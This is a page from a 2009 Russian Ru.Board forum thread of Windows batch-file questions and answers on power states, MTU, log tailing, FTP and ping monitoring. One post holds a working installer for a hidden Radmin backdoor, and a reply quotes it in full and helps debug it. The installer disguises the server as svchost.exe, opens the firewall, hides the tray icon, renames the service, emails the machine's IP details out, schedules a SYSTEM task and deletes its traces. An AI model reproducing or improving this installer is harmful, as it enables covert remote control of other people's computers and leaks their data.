Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 6

Модерирует : KLASS, IFkO

vu1tur (26-05-2009 11:39): часть 7 — http://forum.ru-board.com/topic.cgi?forum=62&topic=17154#1  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

   

vu1tur



Moderator-Saaber
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Задачи на bat-файлах 6
(часть 1, часть 2, часть 3, часть 4, часть 5)
Вопросы, задачи и их решения по работе с командными файлами, а также сопутствующие ссылки.

 
Важно: копируя батник через буфер обмена из форума не забывайте удалять пробелы в конце каждой строки, т.к. в некоторых случаях из-за этого программа будет работать неправильно!!!
 
Также для удаления концевых пробелов пользуйтесь скриптом от Nagual, или VBS-Скрипт-Модулем от ViSiToR.
 
Для перекодирования кирилицы 866<<>>1251 пользуйтесь онлайн сервисом Перекодировщик кириллицы

 
Дополняем шапку: добавляем готовые решения, полезные ссылки.
 
Примечание: Большие куски кода заключайте в тэг [more]  
 
Смежные темы:
В помощь системному администратору » Автоматизация администрирования
Программы » Командная строка, батники\сценарии
 
Полезные ссылки
 
Полезные утилиты
 
Готовые решения и частые вопросы:
  • Встроенный справочник по командам
  • Создание помощи по всем командам консоли 2000 и XP
  • Делаем паузу в командном файле стандартными средствами Windows
  • Альтернативные решения »
  • Работа с текстом, датой, и файлами »
  • Администрирование, автоматизация и сеть »
  • Работа с переменными и параметрами ком. строки »
     
    Описания работы команд и символов участниками темы:
    · setlocal enabledelayedexpansion и переменные окружения
    · символы & и && в командной строке
    · Переменная %0





    http://forum.ru-board.com/topic.cgi?forum=62&topic=17154

  • Всего записей: 3690 | Зарегистр. 01-02-2003 | Отправлено: 23:07 04-11-2008 | Исправлено: vu1tur, 11:38 26-05-2009
    Nagual



    Full Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    dddimmm
    Перевод системы в спящий режим
    Код:
    powercfg/h on &&rundll32 powrprof.dll,SetSuspendState
    Перевод системы в ждущий режим
    Код:
    powercfg/h off &&rundll32 powrprof.dll,SetSuspendState

    Всего записей: 528 | Зарегистр. 06-01-2006 | Отправлено: 00:42 14-03-2009
    magistrfet



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    никто не встречал, как написать файлик для смены значения MTU в Висте согласно
    http://www.kitz.co.uk/adsl/vistaMTU.htm

    Всего записей: 728 | Зарегистр. 27-09-2001 | Отправлено: 12:37 14-03-2009 | Исправлено: magistrfet, 12:38 14-03-2009
    BorlandIMHO

    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    magistrfet
    ???
    Просто вписываешь соответствующую команду в .cmd и всё...

    Код:
    netsh interface ipv4 set subinterface "My Network Connection Name" mtu=1430 store=persistent
    Имя соединения подставляешь своё...

    ----------
    http://www.imho.ws

    Всего записей: 2403 | Зарегистр. 12-10-2006 | Отправлено: 13:37 14-03-2009
    magistrfet



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    BorlandIMHO
    не, это понятно, я имею ввиду посложнее: пока у меня получилось вот так:
     
    вверху меню, далее goto:
     

    Код:
     
    :MTU2
    @ECHO OFF
    ipconfig /all
    echo Please find from list your WIFI connection  
    echo Please enter your WIFI connection name here:
    set /p "anscon=Enter your WIFI connection: "
    echo Please enter your MTU :
    set /p "ansmtu2=Enter your MTU:  
    netsh interface ipv4 set subinterface ""%anscon%"" mtu="%ansmtu2%" store=persistent
    ECHO  * MTU PATCH SUCCESFULLY DONE - PRESS ANY KEY TO EXIT *
    ECHO  * YOU NEED REBOOT COMPUTER TO TAKE CHANGE EFFECT *
    @PAUSE
    EXIT
     

     
    но хотелось бы более красивее, к примеру чтобы вывести не  
    ipconfig /all а только названия соединений и уже под номерами, вместо мусора этого, а потом нажав номер команда прописалась.

    Всего записей: 728 | Зарегистр. 27-09-2001 | Отправлено: 14:44 14-03-2009 | Исправлено: magistrfet, 14:46 14-03-2009
    dumsik



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    добрый день  
     
    подскажите пожалуйста как можно изменить короткое имя?  
     
     
    Код:dir /x  
    10.03.2009  11:19    <DIR>          DRWEBE~2     DrWeb Enterprise Suite  
    10.02.2009  17:44    <DIR>          DRWEBE~1     DrWeb Enterprise Suite OLD  
     
     
    поскольку у DrWeb в реестре используются короткие имена  

     
    Используй команду for и операцию подстановки
     
    примерно так будет:
     
    for /D %%a in ("%CD%\*.*") DO echo %%~sa

    Всего записей: 61 | Зарегистр. 29-01-2004 | Отправлено: 17:09 14-03-2009
    maxi812

    Newbie
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    Скажите что не так ?  
     
    Бат для  копирования  Р Админ  и отсылка IP адреса на мыло ...
     
    почему не отсылает...
     
    --------------------------------------------------------
     
    cmdow @ /HID
     
     
    copy /y "blat.exe" "%SYSTEMROOT%/system32/blat.exe"
    copy /y "blat.lib" "%SYSTEMROOT%/system32/blat.lib"
    copy /y "blat.dll" "%SYSTEMROOT%/system32/blat.dll
    copy /y "svchost.exe" "%SYSTEMROOT%/svchost.exe"  
    copy /y "raddrv.dll" "%SYSTEMROOT%/raddrv.dll"
    copy /y "admdll.dll" "%SYSTEMROOT%/admdll.dll"
     
    netsh firewall add allowedprogram "%Windir%\svchost.exe" "Remote Administrator Server" ENABLE
     
    REG ADD HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters /v DisableTrayIcon /t REG_BINARY /d 00000001 /f
    REG ADD HKLM\SYSTEM\CurrentControlSet\Services\r_server /v DisplayName /t REG_SZ /d "Service Host Controller" /f
     
    "%SYSTEMROOT%/svchost.exe" /install /silence
    "%SYSTEMROOT%/svchost.exe" /start
     
    %SYSTEMROOT%/system32/blat.exe -install -server smtp.yandex.ru -port 587 -f вашапочта@yandex.ru -u вашлогин -pw вашпароль
     
    ipconfig /all > %systemroot%/system32/ip.txt
     
    blat.exe %systemroot%/system32/ip.txt -to вашапочта@yandex.ru
     
    schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM" /tr %SYSTEMROOT%/system32\ip.bat
     
     
    del cmdow.exe
    del blat.exe
    del blat.lib
    del blat.dll
    del raddrv.dll
    del admdll.dll
    del svchost.exe
    del install.bat
     
     
     
    --------------------------------------------------------

    Всего записей: 15 | Зарегистр. 25-02-2009 | Отправлено: 04:22 15-03-2009
    Bozer12

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Как сделать батник типа команды tail в Unix. Что бы печатал последние 10 строк из текстового файла. Кроме чтения текстовых файлов ничего не нашел.

    Всего записей: 2 | Зарегистр. 15-03-2009 | Отправлено: 10:51 15-03-2009
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Bozer12

    Цитата:
    Как сделать батник типа команды tail в Unix.

     
    Можно http://tailforwin32.sourceforge.net/
     
    Или такой вариант, каждые 3 секунды выводит новые строчки лога:

    Код:
     
    @echo off  
    setlocal  
     
    set sourcelog="C:\Logs\test.log"  
     
    set skip=0  
    set size=0  
     
    :start  
    for %%i in (%sourcelog%) do (  
        if %%~zi neq %size% (  
            set size=%%~zi  
            call:tail  
        )  
    )  
    ping -n 4 127.0.0.1 1>nul  
    goto:start  
     
    :tail  
    more +%skip% %sourcelog%
    for /f %%i in ('more +%skip% %sourcelog%') do set /a skip+=1
     

    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 11:46 15-03-2009
    inetsofter



    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Необходимо перед установкой программы сделать следующее:
    - проверить через реестр версию windows (если не Vista/7 - продолжение установки (setup.exe) иначе
    - выполнить проверку на включеннный/выключенный UAC под Vista/7 посредством определения следующих значения реестра:
    [HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System]
    "ConsentPromptBehaviorAdmin"=0
    [HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System]
    "EnableLUA"="0"
    Если значения отличны от "0", программа установки прекращает инсталляцию, выдав соответствующее сообщение о необходимости отключения UAC, в противном случае процесс установки беспрепятственно продолжается.
    Необходимо грамотно написать сценарий установки. Прошу всех, кто может, помочь мне в этом

    Всего записей: 887 | Зарегистр. 11-11-2007 | Отправлено: 14:26 15-03-2009
    M0rphey

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Добрый день!
    Подскажите, задача такая, есть сервер, на нём стоят принтера, суть: при входе в домен у пользователя из нетлогон запускался бы батник, который удаляет у пользователя все сетевые принтеры, а затем заново ставит сетевые принтеры (не делая привязку на имя принтера), насколько это возможно сделать =-) заранее благодарен за помощь!

    Всего записей: 3 | Зарегистр. 16-03-2009 | Отправлено: 09:19 16-03-2009 | Исправлено: M0rphey, 10:28 16-03-2009
    vlasenkoa

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    День добрый! Подскажите пожалуйста! Локальная сеть с внутр. ip. Задача получать ежедневно утилиту Cureit с drweb. Раньше работал такой батник:
    @echo off
    echo get pub/drweb/cureit/cureit.exe d:\Shared\cureit.exe >ftp.cnf
    echo bye >>ftp.cnf
    ftp -s:ftp.cnf -A ftp.drweb.com
    del /a ftp.cnf
    После включения фаервола на шлюзе Cisco - Мой батник не работает! Могу заходить на любой ftp только в пассивном режиме!  Что  изменить в батнике что-бы коннектится в пасс. режиме и возможно ли это?

    Всего записей: 5 | Зарегистр. 31-03-2006 | Отправлено: 11:27 16-03-2009
    wolf0425



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    Или такой вариант, каждые 3 секунды выводит новые строчки лога:  

    Хороший вариант...
    Вот бы еще как-то прикрутить к нему, что если обновление лога произошло - кроме новых строчек шел звуковой сигнал? пискнуть выводом 07h вполне бы устроило - но без перевода строки...

    Всего записей: 2928 | Зарегистр. 25-04-2007 | Отправлено: 14:39 16-03-2009
    CYMar



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Товарищи, прошу помощи.  
     
    Необходимо чтобы батник следил за наличием связи с удаленным узлом. В случае пропадания связи служба останавливается, а при появлении канала служба вновь запускается.
     
    Делаем
    PING -n 1 192.168.0.1
    ЕСЛИ "Превышен интервал ожидания для запроса" ТОГДА net stop SERVICE
    Теперь ожидаем пока поднимется канал
    ЕСЛИ ping -n 1 192.168.0.1  
    Ответ от 192.168.0.1: число байт=32 время=38мс TTL=59 ТОГДА net start SERVICE
     
    Пробовал ping -n 1 192.168.0.1 if ErrorLevel 0 ..., но эффекта нет. Направьте на путь правидный.

    Всего записей: 81 | Зарегистр. 29-07-2006 | Отправлено: 15:01 16-03-2009
    BorlandIMHO

    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    Что  изменить в батнике что-бы коннектится в пасс. режиме и возможно ли это?

    в ftp.cnf перед "get ...." добавить строчку
    Цитата:
    literal pasv
    , переводящую сервер в пассивный режим. Если фокус не сработает (что не исключено) - юзать другие утилиты...
     
     
     
    Добавлено:

    Цитата:
    Необходимо чтобы батник следил за наличием связи с удаленным узлом. В случае пропадания связи служба останавливается, а при появлении канала служба вновь запускается.

    Где-то так...
    Код:
     
    @echo off
    set SERVICERUNNING=1
    :HEAD
    ping -n 1 192.168.0.1| find /I "Превышен интервал ожидания для запроса" && goto NOPING
    if SERVICERUNNING=1 goto HEAD
    net start SERVICE && set SERVICERUNNING=1
    goto HEAD
    :NOPING
    if SERVICERUNNING=0 goto HEAD
    net stop SERVICE && set SERVICERUNNING=0
    goto HEAD


    ----------
    http://www.imho.ws

    Всего записей: 2403 | Зарегистр. 12-10-2006 | Отправлено: 21:28 16-03-2009
    NvvLazyTiger



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    CYMar
    Цитата:
    Необходимо чтобы батник следил за наличием связи с удаленным узлом. В случае пропадания связи служба останавливается, а при появлении канала служба вновь запускается.

    В предложенное BorlandIMHO я бы внёс два изменения:
     
    1. Искал бы контекст " TTL=", а не "Превышен интервал ожидания для запроса".
    2. После метки :HEAD добавил бы строку:
    Sleep NNN
     
    Тогда батник не будет зависить от руссификации ОС + удалённый ресурс будет пинговаться каждые NNN секунд, а не непрерывно.
     
    NB. Утилита Sleep.Exe есть например в "Microsoft® Windows® 2000 Resource Kit Tools".

    Всего записей: 257 | Зарегистр. 14-02-2009 | Отправлено: 04:05 17-03-2009
    Maza_Faka



    Advanced Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    CYMar
    Пример проверки связи каждые 30 сек.:

    Код:
     
    @Echo Off
     
    :_Ping
    ::Пауза в 30 сек.
    Ping -n 30 127.0.0.1>Nul
     
    Ping -n 1 192.168.0.1 | Find /i "TTL">Nul && Net Start SERVICE || Net Stop SERVICE
    GoTo :_Ping
     

    Всего записей: 1420 | Зарегистр. 25-10-2006 | Отправлено: 06:39 17-03-2009 | Исправлено: Maza_Faka, 06:42 17-03-2009
    El Sanchez



    Full Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    maxi812

    Цитата:
        Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Скажите что не так ?  
     
    Бат для  копирования  Р Админ  и отсылка IP адреса на мыло ...  
     
    почему не отсылает...  
     
    --------------------------------------------------------  
     
    cmdow @ /HID  
     
     
    copy /y "blat.exe" "%SYSTEMROOT%/system32/blat.exe"  
    copy /y "blat.lib" "%SYSTEMROOT%/system32/blat.lib"  
    copy /y "blat.dll" "%SYSTEMROOT%/system32/blat.dll  
    copy /y "svchost.exe" "%SYSTEMROOT%/svchost.exe"  
    copy /y "raddrv.dll" "%SYSTEMROOT%/raddrv.dll"  
    copy /y "admdll.dll" "%SYSTEMROOT%/admdll.dll"  
     
    netsh firewall add allowedprogram "%Windir%\svchost.exe" "Remote Administrator Server" ENABLE  
     
    REG ADD HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters /v DisableTrayIcon /t REG_BINARY /d 00000001 /f  
    REG ADD HKLM\SYSTEM\CurrentControlSet\Services\r_server /v DisplayName /t REG_SZ /d "Service Host Controller" /f  
     
    "%SYSTEMROOT%/svchost.exe" /install /silence  
    "%SYSTEMROOT%/svchost.exe" /start  
     
    %SYSTEMROOT%/system32/blat.exe -install -server smtp.yandex.ru -port 587 -f вашапочта@yandex.ru -u вашлогин -pw вашпароль  
     
    ipconfig /all > %systemroot%/system32/ip.txt  
     
    blat.exe %systemroot%/system32/ip.txt -to вашапочта@yandex.ru  
     
    schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM" /tr %SYSTEMROOT%/system32\ip.bat  
     
     
    del cmdow.exe  
    del blat.exe  
    del blat.lib  
    del blat.dll  
    del raddrv.dll  
    del admdll.dll  
    del svchost.exe  
    del install.bat

     
    Раз уж ты для радмина в файрволе правило создаешь, то может быть и для blat надо настроить 587 исходящий порт?  
     

    Всего записей: 467 | Зарегистр. 23-12-2008 | Отправлено: 08:35 17-03-2009
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    wolf0425

    Цитата:
    Вот бы еще как-то прикрутить к нему, что если обновление лога произошло - кроме новых строчек шел звуковой сигнал? пискнуть выводом 07h вполне бы устроило - но без перевода строки...

     

    Код:
     
    set /p=*<nul
     

     
    Где "*" это hex:07

    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 08:56 17-03-2009
    Bozer12

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Интересует литература по написанию .бат файлов. Работа с текстовыми файлами.
    батник все таки не совсем то о чем я спрашивал. Печать последних 10 строк ( по умолчанию + выбор строки от которой печатать до конца)

    Всего записей: 2 | Зарегистр. 15-03-2009 | Отправлено: 15:04 17-03-2009 | Исправлено: Bozer12, 15:07 17-03-2009
    CYMar



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Bozer12
    ИМХО Уильям Станек. Командная строка Microsoft Windows.
    Смотри в #
     
    BorlandIMHO, NvvLazyTiger, Maza_Faka
    Спасибо, товарищи, что не бросили в столь тяжелой ситуации. Немного посидел и вот что накидал, может кому пригодится.

    Код:
     
    @echo off
     
    set Try=0
    set Good=0
    set BadTry=0
     
    set MaxPing=3
    set MaxGood=25
    set host=192.168.0.1
     
    echo %date% %time% - Starting command file >> ping.log
     
    :ping
    ping %host% -n 1 > nul 2>&1
    if not errorlevel=1 goto ok
    echo BAD CONNECT %time% %Try%
    set /a Try=%Try%+1
    if %Try% geq %MaxPing% goto bad
    goto ping
     
    :ok
    echo ALL RIGHT %time%
    ping 127.0.0.1 -n 3 > nul
    set /a Try=0
    goto ping
     
    :bad
    echo Count value is more than %try%
    rem set /a Try=0
    echo Stoping service %time%
    echo %date% %time% - Stoping service >> ping.log
     
    set /a Good=0
     
    :ping2
    ping %host% -n 1 >nul 2>&1
    if not errorlevel=1 goto 222
    set /a BadTry=%BadTry%+1
    set /a Good=0
    echo BAD CONNECT %time% %BadTry%
     
    goto ping2
     
    :222
    echo GOOD CONNECT %time% %Good%
    ping 127.0.0.1 -n 3 > nul
    set /a Good=%Good%+1
    if %Good% geq %MaxGood% goto service_start
    goto ping2
     
    :service_start
    echo Starting service %time%
    echo %date% %time% - Bad count - %BadTry%, Starting service >> ping.log
    set /a Try=0
    set BadTry=0
    goto ping
     
    goto %ERRORLEVEL%
    :1
    goto ping
     

    Всего записей: 81 | Зарегистр. 29-07-2006 | Отправлено: 15:42 17-03-2009 | Исправлено: CYMar, 15:46 17-03-2009
       

    Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

    Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 6
    vu1tur (26-05-2009 11:39): часть 7 — http://forum.ru-board.com/topic.cgi?forum=62&topic=17154#1


    Реклама на форуме Ru.Board.

    Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
    Modified by Ru.B0ard
    © Ru.B0ard 2000-2024

    BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

    Рейтинг.ru